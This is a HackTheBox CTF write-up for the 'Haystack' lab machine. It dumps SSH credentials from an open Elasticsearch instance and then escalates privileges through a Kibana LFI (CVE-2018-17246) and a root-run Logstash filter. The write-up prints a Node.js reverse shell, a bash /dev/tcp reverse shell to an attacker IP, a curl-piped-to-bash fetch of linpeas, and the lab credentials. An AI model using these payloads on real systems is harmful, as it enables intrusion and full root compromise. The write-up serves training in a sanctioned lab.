HackTheBox - Haystack

5 minute read

Haystack was a nice 20 point box created by JoyDragon. It started out with dumping SSH credentials via Elasticsearch and then escalating to the Kibana user and abusing its privileges to exploit Logstash and get root.

User.txt

Nmap


We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.115 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports 10.10.10.115

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods: 
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).


HTTP


Navigating to http://10.10.10.115 we come across an image of a needle in a haystack:


Downloading, then running strings on the image we get a base64 encoded string which we decode:

# wget http://10.10.10.115/needle.jpg
# strings needle.jpg
...
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d 
la aguja en el pajar es "clave"

This translates to the needle in the haystack is "key"


Elasticsearch


Checking out port 9200 and we arrive at an open Elasticsearch database:


Running gobuster on port 9200 reveals /_search, using this we can query the Elasticsearch database for specific strings.

Referring to the Elasticsearch URI Search docs we see we’re able to use the ‘q’ parameter with a query string like so:

http://10.10.10.115:9200/_search?q=<string>

Searching for the string ‘key’ turns up empty so we try the word ‘clave’ instead and get some interesting information:


Translating and decoding the two quotes we get the following:

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg 
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

# echo dXNlcjogc2VjdXJpdHkg | base64 -d 
user: security 

# echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 -d
pass: spanish.is.key

I have to save the password for the machine: user: security 
This key cannot be lost, I keep it here: pass: spanish.is.key


Flag


With these credentials we simply SSH in and we get the user flag.

# ssh security@10.10.10.115
security@10.10.10.115's password: spanish.is.key

[security@haystack ~]$ cat user.txt 
04d18b...


Root.txt

Kibana


Uploading and running linpeas.sh we discover Kibana, an open source data visualisation plugin for Elasticsearch, and Logstash, an open source tool for collecting, parsing, and storing logs for future use, installed on the host. The combination of Elasticsearch, Logstash, and Kibana is referred to as the ELK Stack.

[security@haystack tmp]$ curl http://10.10.14.4:8000/linpeas.sh | bash
...
[+] Looking for Kibana yaml                                                                                                                                                 
/etc/kibana/kibana.yml                                                                                                                                                      
# Kibana is served by a back end server. This setting specifies the port to use.                                                                                            
server.port: 5601  

Digging into Kibana we come across CVE-2018-17246, a Local File Inclusion vulnerability that we can exploit to escalate to the Kibana user. We know the service is running on localhost:5601 so we can use curl from our SSH session to exploit it.

First we need to add the following Javascript reverse shell into the file shell.js in our created /tmp/shell/ directory:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.14.4", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

All we have to do now is execute the following command and we’ll get a shell as Kibana:

[security@haystack shell]$ curl -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../tmp/shell/shell.js" 

Be sure to have a netcat listener ready to catch the shell:

# nc -nlvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.115.
Ncat: Connection from 10.10.10.115:57690.
id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0 
python -c 'import pty; pty.spawn("/bin/bash")'

bash-4.2$ whoami
kibana


Kibana to Root


As this box is crafted around the ELK Stack, and considering we have already exploited both Elasticsearch and Kibana, Logstash is most likely the way forward. With that in mind let’s check for files we have access to in the Kibana group and grep for the word logstash:

$ find / -group kibana 2>/dev/null | grep logstash
/etc/logstash/conf.d
/etc/logstash/conf.d/output.conf
/etc/logstash/conf.d/input.conf
/etc/logstash/conf.d/filter.conf
/etc/logstash/log4j2.properties
/etc/logstash/logstash-sample.conf
/etc/logstash/pipelines.yml
/etc/logstash/jvm.options
/etc/logstash/logstash.yml
/etc/logstash/startup.options
/etc/logstash/logstash.yml.rpmnew

Going to /etc/logstash and running ls -la we confirm we’re able to read the following files:

$ ls -la
drwxrwxr-x.  2 root   kibana   62 jun 24 08:12 conf.d
-rw-r--r--.  1 root   kibana 1850 nov 28  2018 jvm.options
-rw-r--r--.  1 root   kibana 4466 sep 26  2018 log4j2.properties
-rw-r--r--.  1 root   kibana  342 sep 26  2018 logstash-sample.conf
-rw-r--r--.  1 root   kibana 8192 ene 23  2019 logstash.yml
-rw-r--r--.  1 root   kibana 8164 sep 26  2018 logstash.yml.rpmnew
-rw-r--r--.  1 root   kibana  285 sep 26  2018 pipelines.yml


Logstash


During my enumeration as the user security I noticed Logstash was running with root privileges, this can be confirmed with the following:

$ ps aux | grep logstash
root       6356  0.7 13.2 2724788 510828 ?      SNsl nov01   7:50 /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash 

Checking out /etc/logstash/conf.d/, the files input.conf and filter.conf are of particular interest:

$ cat input.conf
input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}
$ cat filter.conf
filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}


Exploiting Logstash


From the input.conf and filter.conf files we can see that input must be put into the /opt/kibana/ directory with a file name beginning with logstash_.

The contents of this file will need to start with Ejecutar comand: , followed by the command we wish to execute. This command will then be executed with root privileges.


Flag


We simply echo our bash reverse shell into the file /opt/kibana/logstash_shell:

$ echo "Ejecutar comando : bash -i >& /dev/tcp/10.10.14.4/31337 0>&1" > /opt/kibana/logstash_shell

Start our netcat listener and we get root.

# nc -nlvp 31337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from 10.10.10.115.
Ncat: Connection from 10.10.10.115:49794.
bash: no hay control de trabajos en este shell
[root@haystack /]# id
id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
[root@haystack /]# cat /root/root.txt
cat /root/root.txt
3f5f72...